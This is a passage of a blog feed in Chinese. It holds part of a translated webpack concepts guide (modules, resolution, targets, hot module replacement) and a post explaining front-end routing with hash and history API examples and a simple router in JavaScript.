class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">"Invalid build target. Only 'development' and 'production' are available."</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="使用JSX"><a href="#使用JSX" class="headerlink" title="使用JSX"></a>使用JSX</h3><p>下面的例子中使用了JSX和Babel创建了一个webpack可以理解的JSON配置。</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> h <span class="keyword">from</span> <span class="string">'jsxobj'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// example of an import'd plugin</span></span><br><span class="line"><span class="keyword">const</span> CustomPlugin = config =&gt; (&#123;</span><br><span class="line"> ...config,</span><br><span class="line"> name: <span class="string">'custom-plugin'</span></span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> (</span><br><span class="line"> &lt;webpack target="web" watch&gt;</span><br><span class="line"> &lt;entry path="src/index.js" /&gt;</span><br><span class="line"> &lt;resolve&gt;</span><br><span class="line"> &lt;alias &#123;...&#123;</span><br><span class="line"> react: 'preact-compat',</span><br><span class="line"> 'react-dom': 'preact-compat'</span><br><span class="line"> &#125;&#125; /&gt;</span><br><span class="line"> &lt;/resolve&gt;</span><br><span class="line"> &lt;plugins&gt;</span><br><span class="line"> &lt;uglify-js opts=&#123;&#123;</span><br><span class="line"> compression: true,</span><br><span class="line"> mangle: false</span><br><span class="line"> &#125;&#125; /&gt;</span><br><span class="line"> &lt;CustomPlugin foo="bar" /&gt;</span><br><span class="line"> &lt;/plugins&gt;</span><br><span class="line"> &lt;/webpack&gt;</span><br><span class="line">);</span><br></pre></td></tr></table></figure>
<h2 id="模块"><a href="#模块" class="headerlink" title="模块"></a><span id="modules"></span>模块</h2><p>在 <a href="https://en.wikipedia.org/wiki/Modular_programming" target="_blank" rel="external">模块化编程</a> 中,开发者会将项目拆分成独立的功能模块。</p>
<p>相比于每个项目而言,每个模块的覆盖面积较小,这使得验证,调试以及测试更加轻而易举。良好编写的模块提供了可靠的抽象和边界封装,因此从应用地整体上来看,每个模块都会拥有一致的设计和清晰的目标。</p>
<p>Nodejs几乎从诞生开始就已经支持模块化编程。然而,web端的模块化却迟迟未能实现。在web端有很多不同的工具支持模块化的Javascript代码,它们拥有不同的益处和局限。webpack从以往的这些系统中汲取经验和教训,实现了将模块化的概念应用于项目中的任何一个文件。</p>
<h3 id="webpack模块是什么"><a href="#webpack模块是什么" class="headerlink" title="webpack模块是什么"></a>webpack模块是什么</h3><p>和Node.js的模块相比,webpack的模块能通过很多不同的方式表达它们的依赖关系。下面是一些例子:</p>
<ul>
<li>ES2015 的 <code>import</code> 声明</li>
<li>Javascript 的 <code>require()</code> 声明</li>
<li>AMD的 <code>define</code> 和 <code>require()</code> 声明</li>
<li>css/sass/less 文件中的 <code>@import</code> 声明</li>
<li>样式表(<code>url(...)</code>)或者html(<code>&lt;img src=...&gt;</code>)中的图片url</li>
</ul>
<blockquote>
<p>webpack 1 需要使用指定的加载器去转换ES2015的 <code>import</code>,然而webpack 2可能不再需要。</p>
</blockquote>
<h3 id="支持的模块类型"><a href="#支持的模块类型" class="headerlink" title="支持的模块类型"></a>支持的模块类型</h3><p>webpack通过加载器可以支持使用不同语言和预处理器编写的模块。加载器告诉webpack怎样去处理非Javascript的模块,以及如何将它们的依赖关系包含进你的包里。webpack社区已经为各种广受欢迎的语言和语言处理器构建了加载器,包括:</p>
<ul>
<li><a href="http://coffeescript.org/" target="_blank" rel="external">CoffeeScript</a></li>
<li><a href="https://www.typescriptlang.org/" target="_blank" rel="external">TypeScript</a></li>
<li><a href="https://babeljs.io/" target="_blank" rel="external">ESNext(Babel)</a></li>
<li><a href="http://sass-lang.com/" target="_blank" rel="external">Sass</a></li>
<li><a href="http://lesscss.org/" target="_blank" rel="external">Less</a></li>
<li><a href="http://stylus-lang.com/" target="_blank" rel="external">Stylus</a></li>
</ul>
<p>数不胜数!总而言之,webpack提供了一套强大并且丰富的API去实现自定义需求,允许拥有任何技术栈的人使用,使你的开发、测试和生产工作流程不再一成不变。</p>
<p>想要看更详细的信息,请移步 <a href="https://webpack.github.io/docs/list-of-loaders.html" target="_blank" rel="external">加载器清单</a> 或者 <a href="https://webpack.js.org/api/loaders/" target="_blank" rel="external">编写自己的加载器</a>。</p>
<h2 id="模块解析"><a href="#模块解析" class="headerlink" title="模块解析"></a><span id="modules-resolution"></span>模块解析</h2><p>解析器是帮助寻找模块绝对地址的类库。一个模块可以以这样的形式被另一个模块引为依赖:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> mymodule <span class="keyword">from</span> <span class="string">'path/to/module'</span></span><br><span class="line"><span class="comment">// or</span></span><br><span class="line"><span class="built_in">require</span>(<span class="string">'path/to/module'</span>)</span><br></pre></td></tr></table></figure>
<p>依赖模块可以是应用程序的源码也可以是第三方类库。针对于每一个 <code>require()/import</code> 声明,解析器都会帮助 <code>webpack</code> 找到需要被打包的模块代码。 在打包模块时,<code>webpack</code> 使用 <a href="https://github.com/webpack/enhanced-resolve" target="_blank" rel="external">enhanced-resolve</a>去解析文件路径。</p>
<h3 id="webpack中的解析规则"><a href="#webpack中的解析规则" class="headerlink" title="webpack中的解析规则"></a>webpack中的解析规则</h3><p><code>webpack</code> 解析三种文件路径。</p>
<h4 id="绝对路径"><a href="#绝对路径" class="headerlink" title="绝对路径"></a>绝对路径</h4><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> <span class="string">"/home/me/file"</span>;</span><br><span class="line"><span class="keyword">import</span> <span class="string">"C:\\Users\\me\\file"</span>;</span><br></pre></td></tr></table></figure>
<p>既然我们已经拥有了绝对路径,就无需再继续解析了。</p>
<h4 id="相对路径"><a href="#相对路径" class="headerlink" title="相对路径"></a>相对路径</h4><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> <span class="string">"../src/file"</span>;</span><br><span class="line"><span class="keyword">import</span> <span class="string">"./file"</span>;</span><br></pre></td></tr></table></figure>
<p>在这种情况下,资源文件的目录被用作上下文目录(当前被处理的文件的目录)。给定的绝对路径被加入到上下文路径并由此得出文件的绝对路径。</p>
<h4 id="模块路径"><a href="#模块路径" class="headerlink" title="模块路径"></a>模块路径</h4><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> <span class="string">"module"</span>;</span><br><span class="line"><span class="keyword">import</span> <span class="string">"module/lib/file"</span>;</span><br></pre></td></tr></table></figure>
<p>在使用 <code>resolve.modules</code> 指定的文件目录内部搜索模块,它可以是不同路径的一个数组。混叠允许你在 <code>require/import</code> 的时候使用一个别名去替代模块路径,比如,设置 <code>resolve.alias</code> 值为一个现存的模块路径。</p>
<p>一旦路径是基于以上规则进行解析,解析器会检查路径是指向一个文件还是目录。如果路径指向一个文件那么该文件会被立即打包。但是如果路径指向一个文件夹,则会采取下面的步骤去找到拥有正确的扩展名的文件。</p>
<ul>
<li><code>package.json</code> 中的 <code>main:&quot;&lt;filename&gt;.js&quot;</code> 字段决定了正确的文件。</li>
<li>如果没有package.json文件或者main字段缺失,则寻找 <code>resolve.mainFiles</code> 配置选项。</li>
<li>如果这也失败的话,默认就会去寻找被命名为 <code>index</code> 的文件。</li>
<li><code>resolve.extensions</code> 告诉解析器什么扩展名(例如:<code>.js</code>,<code>.jsx</code>)是能够被合法解析的。</li>
</ul>
<h4 id="加载器解析"><a href="#加载器解析" class="headerlink" title="加载器解析"></a>加载器解析</h4><p>这个和文件解析的规则一样。但是 <code>resolveLoader</code> 配置可以针对加载器制定独立的解析规则。</p>
<h4 id="缓存"><a href="#缓存" class="headerlink" title="缓存"></a>缓存</h4><p>对每个文件系统的访问都会被缓存,以便于多个并行或者串行的请求同一文件的任务可以被合并。在监听模式下只有发生改变的文件会从缓存中删除(监听器知道哪个文件发生了改变)。在非监听的模式下每一次编译之前都会清除缓存。</p>
<h4 id="不安全的缓存"><a href="#不安全的缓存" class="headerlink" title="不安全的缓存"></a>不安全的缓存</h4><p>有一个配置项 <code>resolve.unsafeCache</code>,通过积极的缓存提高性能。每一个解析进程都会被缓存并且不会被清除。在大多数场合这样做是没问题的,但是在一些极端场景下却不适合(什么极端场景呢?)。</p>
<p>请查看 <a href="https://webpack.js.org/configuration/resolve/" target="_blank" rel="external">Resolve API</a> 去获取关于上述配置的更多信息。</p>
<h2 id="依赖图"><a href="#依赖图" class="headerlink" title="依赖图"></a><span id="dependency-graph"></span>依赖图</h2><p>任何时候只要一个文件取决于另一个文件,webpack就将其视为依赖。这使得webpack可以获取任何非代码的资源,比如图片或者web字体,并且将它们提供为你的应用程序的依赖。</p>
<p>当webpack处理你的应用的时候,它会从命令行下定义的模块列表或者它的配置文件开始。从这些入口开始,webpack递归地构造一个包含了你的应用需要的所有模块的依赖关系图,然后将所有的这些模块打包进少数的几个供浏览器加载的包中 – 经常只有一个。</p>
<blockquote>
<p>将你的应用程序打包对于采用HTTP/1.1的客户端来说尤其有用,因为它缩减了当浏览器发送新请求时你的应用的等待次数。对于HTTP/2,你也可以使用webpack进行代码分离和打包以实现 <a href="https://medium.com/webpack/webpack-http-2-7083ec3f3ce6#.o1id8khup" target="_blank" rel="external">最佳优化</a>。</p>
</blockquote>
<h2 id="目标"><a href="#目标" class="headerlink" title="目标"></a><span id="target"></span>目标</h2><p>因为Javascript代码不仅可以在浏览器端写,也可以在服务器端写,所以在你的webpack <a href="https://webpack.js.org/configuration/" target="_blank" rel="external">配置</a> 文件中webpack提供了可供设置的多个部署目标。</p>
<blockquote>
<p>不要将webpack <code>target</code> 属性和 <code>output.libraryTarget</code> 属性混淆了。详细信息可以查看 <a href="#output">我们指导手册</a> 的 <code>output</code> 属性。</p>
</blockquote>
<h3 id="用法-2"><a href="#用法-2" class="headerlink" title="用法"></a>用法</h3><p>设置 <code>target</code> 属性你只需要在你的webpack配置中简单地设置 target的值:</p>
<p><strong>webpack.config.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="built_in">module</span>.exports = &#123;</span><br><span class="line"> target: <span class="string">'node'</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>每个目标都有种种部署/环境特定的附加条件,以支持它的需求。查看 <a href="https://webpack.js.org/configuration/target/" target="_blank" rel="external">可使用的目标</a>。</p>
<h3 id="多个目标-1"><a href="#多个目标-1" class="headerlink" title="多个目标"></a>多个目标</h3><p>虽然webpack不支持将多个字符串传递给 <code>target</code> 属性,但是你可以通过包装两个独立的配置去创建一个形似的库。</p>
<p><strong>webpack.config.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> serverConfig = &#123;</span><br><span class="line"> target: <span class="string">'node'</span>,</span><br><span class="line"> output: &#123;</span><br><span class="line"> path: <span class="string">'dist'</span>,</span><br><span class="line"> filename: <span class="string">'lib.node.js'</span></span><br><span class="line"> &#125;</span><br><span class="line"> <span class="comment">//…</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> clientConfig = &#123;</span><br><span class="line"> target: <span class="string">'web'</span>, <span class="comment">// &lt;=== can be omitted as default is 'web'</span></span><br><span class="line"> output: &#123;</span><br><span class="line"> path: <span class="string">'dist'</span>,</span><br><span class="line"> filename: <span class="string">'lib.js'</span></span><br><span class="line"> &#125;</span><br><span class="line"> <span class="comment">//…</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = [ serverConfig, clientConfig ];</span><br></pre></td></tr></table></figure>
<p>上面的例子在你的 <code>dist</code> 文件夹下创建了一个 <code>lib.js</code> 和 <code>lib.node.js</code> 文件。</p>
<h3 id="资源"><a href="#资源" class="headerlink" title="资源"></a>资源</h3><p>从上面的配置项来看,我们拥有多个不同的部署目标可选。下面是一个实例列表和你可以参考的资源。</p>
<h4 id="打包输出组合"><a href="#打包输出组合" class="headerlink" title="打包输出组合"></a>打包输出组合</h4><p><a href="https://github.com/TheLarkInn/compare-webpack-target-bundles" target="_blank" rel="external">compare-webpack-target-bundles</a> :一个优秀的资源,可以测试和查看不同的webpack 目标。也很方便报告bug。</p>
<h2 id="热模块替换"><a href="#热模块替换" class="headerlink" title="热模块替换"></a><span id="hot-module"></span>热模块替换</h2><p>当应用在运行时,Hot Module Replacement(HMR 热模块替换)可以在没有进行页面载入的情况下实现交换、添加和删除模块。当个别模块被改变的时候,热模块替换可以帮助我们实现在没有页面刷新的情况下更新那些模块,从而缩减开发时间。</p>
<h3 id="它是如何工作的?"><a href="#它是如何工作的?" class="headerlink" title="它是如何工作的?"></a>它是如何工作的?</h3><h4 id="从应用视图来看"><a href="#从应用视图来看" class="headerlink" title="从应用视图来看"></a>从应用视图来看</h4><ol>
<li>应用程序向HMR运行时环境请求检查更新。</li>
<li>HMR运行时环境下载更新(异步地)并且告诉应用程序代码存在一个更新。</li>
<li>然后应用程序代码告诉HRM运行时环境应用更新。</li>
<li>HMR运行时环境应用更新(同步地)。</li>
</ol>
<p>你可以配置好HMR以便于上述进程能自动发生,或者你也可以选择要求用户交互去触发更新。</p>
<h4 id="从编译器﹝webpack﹞-视图来看"><a href="#从编译器﹝webpack﹞-视图来看" class="headerlink" title="从编译器﹝webpack﹞ 视图来看"></a>从编译器﹝webpack﹞ 视图来看</h4><p>除了正常的资源之外,编译器需要发送一个“更新”来允许从之前版本进行更新操作。这个“更新”包含两个方面:</p>
<ol>
<li>更新清单(JSON)</li>
<li>一个或多个更新块(JavaScript)</li>
</ol>
<p>更新清单包含新生成的编译hash值和所有更新块的列表。</p>
<p>每个更新块包含用于相应块中的所有更新的模块的代码(或者一个显示模块被删除的标记)。</p>
<p>在不同的构建之间,编译器可以确保模块的ID和分块的ID是一致的。它通常在内存中存储了这些ID(举个例子,当使用<a href="https://webpack.js.org/configuration/dev-server/" target="_blank" rel="external">webpack-dev-server</a>的时候),但也有可能将它们存储到一个JSON文件中。</p>
<h4 id="从模块视图来看"><a href="#从模块视图来看" class="headerlink" title="从模块视图来看"></a>从模块视图来看</h4><p>HMR是一个选择性功能,只会影响到包含了HMR代码的模块。比如通过 <a href="https://github.com/webpack/style-loader" target="_blank" rel="external">style-loader</a> 修复样式。为了让所做的修改能够应用,style-loader继承了HMR的接口;当它接收到一个来自HMR的更新请求时,将会用新的样式取代老的样式。</p>
<p>类似得,当在一个模块中继承了HMR接口时,你可以定义模块被更新的时候发生哪些事情。然而,在多数情况下,在每个模块中都写入HMR代码不是强制的。如果一个模块没有HMR处理函数,更新消息将会冒泡。这意味着一个单一的处理函数就可以处理一个完整模块树的更新。如果模块树中的某个模块更新,所有的模块树都会重新加载(只是重新加载,而不是改变)。</p>
<h4 id="从HMR运行时环境看﹝Technical﹞"><a href="#从HMR运行时环境看﹝Technical﹞" class="headerlink" title="从HMR运行时环境看﹝Technical﹞"></a>从HMR运行时环境看﹝Technical﹞</h4><p>对于模块系统运行时来说,它要执行额外的代码去跟踪模块的父级和子级。</p>
<p>在管理方面,运行时环境提供两个方法:<code>check</code> 和 <code>apply</code>。</p>
<p><code>check</code> 方法会发送一个http请求以获取更新清单。如果这个请求失败,则意味着没有更新。如果请求成功,则发生更新的块列表会和当前已加载的块列表进行对比。对于每一个已加载的块,与之对应的更新块会被下载。所有的模块更新都会存储在运行时环境中。当所有的需要更新的块下载完毕等待被应用时,运行时环境切换到 <code>ready</code> 状态。</p>
<p><code>apply</code> 方法将所有的需要更新的模块标记为无效。对每一个失效的模块,在模块中需要有一个更新处理函数或者在它们的父级中存在对应的更新处理函数。否则,无效的标志会进行冒泡使得其父级模块也失效。当向上冒泡至应用的入口,或者遇到了有更新处理函数的模块(不管是哪个模块,只要遇到了就立刻停止)时,这一过程才会停止。如果冒泡过程持续最终到达应用入口,那么这个更新处理就失败了。</p>
<p>接着,所有失效的模块会被释放(通过dispose 处理函数)和卸载。当前的hash值会被更新,所有的“接受的”处理函数被调用。运行时环境切换到 <code>idle</code> 状态,一切如常。</p>
<h4 id="我可以用它做什么?"><a href="#我可以用它做什么?" class="headerlink" title="我可以用它做什么?"></a>我可以用它做什么?</h4><p>你可以在开发环境中使用它进行。<a href="https://webpack.js.org/configuration/dev-server/" target="_blank" rel="external">webpack-dev-server</a> 支持一种热模式,就是通过尝试利用运行时环境进行更新,而不是试图重新加载整个页面。看看怎样在 <a href="https://webpack.js.org/guides/hmr-react/" target="_blank" rel="external">React中继承HMR</a> 的例子。</p>
<p>一些加载器已经生成了热更新的模块。举例来说,<code>style-loader</code> 就可以换出一个页面的样式。对于此类的模块来说,你不需要做任何特别的处理。</p>
<p>webpack的强大在于它的可定制性。配置运行时环境的方法数不胜数,都取决于特定的项目。</p>
</content>
<summary type="html">
<p>原文链接:<a href="https://webpack.js.org/concepts/">https://webpack.js.org/concepts/</a></p>
<h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a><span id='introduce'></span>介绍</h2><p>webpack是为了现代Javascript应用而诞生的一个模块打包器。它拥有<a href="https://webpack.js.org/configuration/">惊人的可配置性</a>,不过,在使用之前我们觉得你必须理解四个核心的概念。</p>
<p>作为webpack学习之旅的一部分,我们撰写这篇文档旨在给大家展示这些概念的高度概览,不过我们也会提供和概念相关的特定用例的链接。</p>
</summary>
<category term="Translation" scheme="tomasran.space/category/Translation/"/>
<category term="webpack" scheme="tomasran.space/tags/webpack/"/>
</entry>
<entry>
<title>前端路由一探</title>
<link href="tomasran.space/archives/1bjDjwd2FgzJIsCyshbzag/"/>
<id>tomasran.space/archives/1bjDjwd2FgzJIsCyshbzag/</id>
<published>2016-11-29T10:31:26.000Z</published>
<updated>2016-11-29T10:37:27.000Z</updated>
<content type="html"><h2 id="什么是前端路由"><a href="#什么是前端路由" class="headerlink" title="什么是前端路由"></a>什么是前端路由</h2><p>路由,引导、指路之意。</p>
<p>譬如我们熟知的路由器,蹦跶在网络层的数据包转发设备,在网络中也是扮演着指路明灯的角色,肩负着将数据包正确导向目的地址的重任。</p>
<p>前端路由也借用了这个词,但是承担的工作全然不同,它是服务于客户端浏览器的指路人。</p>
<p>所谓的前端路由,拥有这样一种能力:客户端浏览器可以不依赖服务端,根据不同的URL渲染不同的视图页面。</p>
<a id="more"></a>
<h2 id="前端路由的存在合理性"><a href="#前端路由的存在合理性" class="headerlink" title="前端路由的存在合理性"></a>前端路由的存在合理性</h2><p>在Ajax之剑还未亮出,前端仍处于襁褓之中的时候,路由的工作交给了后端。在进行页面切换的时候,浏览器发送不同的url请求;服务器接收到浏览器的请求时,通过解析不同的url去拼接需要的html或者模板,然后将结果返回给浏览器端进行渲染。</p>
<p>服务器端路由也是不落俗套的有利亦有弊。它的好处是安全性更高,更严格得控制页面的展现。这在某些场景中是很有用的,譬如下单支付流程,每一步只有在上一步成功执行之后才能抵达。这在服务器端可以为每一步流程添加验证机制,只有验证通过才返回正确的页面。那么前端路由不能实现每一步的验证?自然不是,姑且相信你的代码可以写的很严谨,保证正常情况下流程不会错,但是另一个不得不面对的事实是:前端是毫无安全性可言的。用户可以肆意修改代码来进入不同的流程,你可能会为此添加不少的处理逻辑。相较之下,当然是后端控制页面的进入权限更为安全和简便。</p>
<p>另一方面,后端路由无疑增加了服务器端的负荷,并且需要reload页面,用户体验其实不佳。</p>
<p>这样,前端路由就有用武之地了。首先,它的出现无疑减轻了服务器端的压力。特别是对于一个比较复杂的应用来讲,或者更确切的说,对于拥有一个复杂路由系统的应用来说,服务器端需要为每一个不同的url执行一段处理逻辑在高并发的情况下实在有点不堪重负;其次,页面的切换可以不需要刷新整个页面了,没有网络延迟,没有闪烁刷新,提升了用户体验。</p>
<h2 id="前端路由实现方式"><a href="#前端路由实现方式" class="headerlink" title="前端路由实现方式"></a>前端路由实现方式</h2><p>既然目标实现,我们需要解决的问题有哪些?我们可以将问题拆的稍微细一点,先制定一个亿的小计划,实现之后再进行下一步:)</p>
<ol>
<li>在页面不刷新的前提下实现url变化</li>
<li>捕捉到url的变化,以便执行页面替换逻辑</li>
</ol>
<h3 id="如何实现更新url并且页面不刷新"><a href="#如何实现更新url并且页面不刷新" class="headerlink" title="如何实现更新url并且页面不刷新"></a>如何实现更新url并且页面不刷新</h3><p>正如前面所说,前端路由相较于后端路由的一个特点就是页面在不完全刷新的情况下进行视图的切换。页面url变了,但是并没有重新加载!看上去似乎有点不可思议,其实也没什么大不了。</p>
<p>试想将浏览器地址栏当做一个输入框,我们需要实现的就是改变输入框的value但是不触发请求页面的操作,这样就不会重新加载新页面。倘若输入框的值的变化和发送请求是一个原子操作,我们也就束手无策了。庆幸的是,只有当我们敲击了回车之后,请求才会被发送出去(这是显而易见的吧)。因此这就为我们修改地址栏的值而不触发页面请求刷新创造了条件。BOM是否有提供修改浏览器地址栏url而不触发请求操作的方法呢?</p>
<p>这里,存在两种满足需求的方式。一是利用url中的hash字段;二是使用html5提供的history API。</p>
<h4 id="hash方式"><a href="#hash方式" class="headerlink" title="hash方式"></a>hash方式</h4><p>了解http协议就会知道,url的组成部分有很多,譬如协议、主机名、资源路径、查询字段等等,其中包含一个称之为片段的部分,以“#”为标识。</p>
<p>例如: <a href="http://www.gmail.com/text/#123,123便是url中的hash部分。" target="_blank" rel="external">http://www.gmail.com/text/#123,123便是url中的hash部分。</a></p>
<p>打开控制台,输入 <code>location.hash</code>,你可以得到当前url的hash部分(如果当前url不存在hash则返回空字符串)。接下来,输入 <code>location.hash = &#39;123&#39;</code>,会发现浏览器地址栏的url变了,末尾增加了’#123’字段,并且,页面没有被重新刷新。很显然,这很符合我们的要求。</p>
<h4 id="history-API"><a href="#history-API" class="headerlink" title="history API"></a>history API</h4><p>html5引入了一个history对象,包含了一套访问浏览器历史的api,可以通过window.history访问到它。</p>
<p>这里我们看上了它的两个api方法:<code>pushState</code> 和 <code>replaceState</code>。</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">history.replaceState(dataObj, title, url);</span><br><span class="line">history.pushState(dataObj, title, url);</span><br></pre></td></tr></table></figure>
<p>若上所示,它们接收完全相同的参数,都是对浏览器的历史栈进行操作,将传递的url和相关数据压栈,并将浏览器地址栏的url替换成传入的url且不刷新页面(正中下怀!)。</p>
<blockquote>
<p>By the way,不同的地方是<code>pushState</code> 将指定的url直接压入历史记录栈顶,而 <code>replaceState</code> 是将当前历史记录栈顶替换成传入的数据。</p>
</blockquote>
<p>这两种方式都可以帮我们满足题设条件。采用哪一种方式除了主观喜好之外,还得依照客观事实:低版本的浏览器对于history API的兼容性不好,例如遇到了IE8,摆在眼前的道路似乎就别无选择了。</p>
<h3 id="如何跟踪url变化"><a href="#如何跟踪url变化" class="headerlink" title="如何跟踪url变化"></a>如何跟踪url变化</h3><p>在浏览器端,跟踪表单属性的变化一般都采用事件监听机制,跟踪url的变化也不落俗套。</p>
<p>对于hash方式的前端路由,通常可以监听 <a href="https://developer.mozilla.org/zh-CN/docs/Web/Events/hashchange" target="_blank" rel="external">hashchange</a> 事件,在事件回调中处理相应的页面视图展示等逻辑。</p>
<p>此外,html5提供的 <a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Window/onpopstate" target="_blank" rel="external">popstate</a> 事件也会在url的hash发生改变时触发。也就是说如果可以忽略低版本浏览器,我们使用hash方式路由时也可以采用监听这个事件进行回调处理。</p>
<p>那么,如果是采用history API的形式呢?根据MDN的描述:</p>
<blockquote>
<p>调用 <code>history.pushState()</code> 或者 <code>history.replaceState()</code> 不会触发 <code>popstate</code> 事件。<code>popstate</code> 事件只会在浏览器某些行为下触发, 比如点击后退按钮(或者在JavaScript中调用 <code>history.back()</code> 方法)。</p>
</blockquote>
<p>这也就是说,我们在使用history API改变浏览器的url时,仍需要额外的步骤去触发 <code>popstate</code> 事件,例如调用 <code>history.back()</code> 会 <code>history.forward()</code> 等方法。</p>
<p>从兼容性上来讲,前面有提及hash的方式兼容性更好。然而,对于低版本的浏览器,例如IE6等等,不支持 <code>hashchange</code> 事件。这个时候我们只能通过 <code>setInterval</code> 设置心跳的方式去模拟 <code>hashchange</code>。</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> oldHash = location.hash;</span><br><span class="line"><span class="keyword">var</span> oldURL = location.href;</span><br><span class="line"></span><br><span class="line">setInterval(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"> <span class="keyword">var</span> newHash = location.hash;</span><br><span class="line"> <span class="keyword">var</span> newURL = location.href;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (newHash !== oldHash &amp;&amp; <span class="keyword">typeof</span> <span class="built_in">window</span>.onhashchange === <span class="string">'function'</span>) &#123;</span><br><span class="line"> <span class="comment">// 执行onhashchange回调</span></span><br><span class="line"> <span class="built_in">window</span>.onhashchange(&#123;</span><br><span class="line"> <span class="string">'type'</span>: <span class="string">'hashchange'</span>,</span><br><span class="line"> <span class="string">'oldURL'</span>: oldURL,</span><br><span class="line"> <span class="string">'newURL'</span>: newURL</span><br><span class="line"> &#125;);</span><br><span class="line"></span><br><span class="line"> oldHash = newHash;</span><br><span class="line"> oldURL = newURL;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;, <span class="number">100</span>);</span><br></pre></td></tr></table></figure>
<h3 id="一个简单实现"><a href="#一个简单实现" class="headerlink" title="一个简单实现"></a>一个简单实现</h3><p>这里,给出一个很简单的实现:</p>
<p><strong>router.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">FrontRouter</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.routes = &#123;&#125;;</span><br><span class="line"> <span class="built_in">window</span>.addEventListener(<span class="string">'load'</span>, <span class="keyword">this</span>.resolve.bind(<span class="keyword">this</span>), <span class="literal">false</span>);</span><br><span class="line"> <span class="built_in">window</span>.addEventListener(<span class="string">'hashchange'</span>, <span class="keyword">this</span>.resolve.bind(<span class="keyword">this</span>), <span class="literal">false</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">FrontRouter.prototype.route = <span class="function"><span class="keyword">function</span>(<span class="params">path, callback</span>) </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.routes[path] = callback || <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;&#125;;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">FrontRouter.prototype.resolve = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.curHash = location.hash.slice(<span class="number">1</span>) || <span class="string">'/'</span>;</span><br><span class="line"> <span class="keyword">typeof</span> <span class="keyword">this</span>.routes[<span class="keyword">this</span>.curHash] === <span class="string">'function'</span> &amp;&amp; <span class="keyword">this</span>.routes[<span class="keyword">this</span>.curHash]();</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p><strong>index.html</strong></p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">ul</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">li</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">'#blue'</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">li</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">'#yellow'</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">li</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">'#red'</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p><strong>index.js</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> router = <span class="keyword">new</span> FrontRouter();</span><br><span class="line"></span><br><span class="line">router.route(<span class="string">'blue'</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"> <span class="built_in">document</span>.body.style.backgroundColor = <span class="string">'blue'</span>;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">router.route(<span class="string">'yellow'</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"> <span class="built_in">document</span>.body.style.backgroundColor = <span class="string">'yellow'</span>;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">router.route(<span class="string">'red'</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"> <span class="built_in">document</span>.body.style.backgroundColor = <span class="string">'red'</span>;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>
<h2 id="一点总结"><a href="#一点总结" class="headerlink" title="一点总结"></a>一点总结</h2><p><strong>应用场景</strong><br>前端路由大部分的应用场景,就是我们现在熟知的单页应用SPA。</p>
<p><strong>不存在纯前端路由</strong><br>我们此前所描述的前端路由,建立在已经打开了一个初始页面基础之上,然后在这个页面之内进行页面替换。然而,我们如何进入这个初始页面?仅靠前端路由肯定是力所不及。我们至少要向后端发送一次http请求,接收所需要加载的页面不是吗?</p>
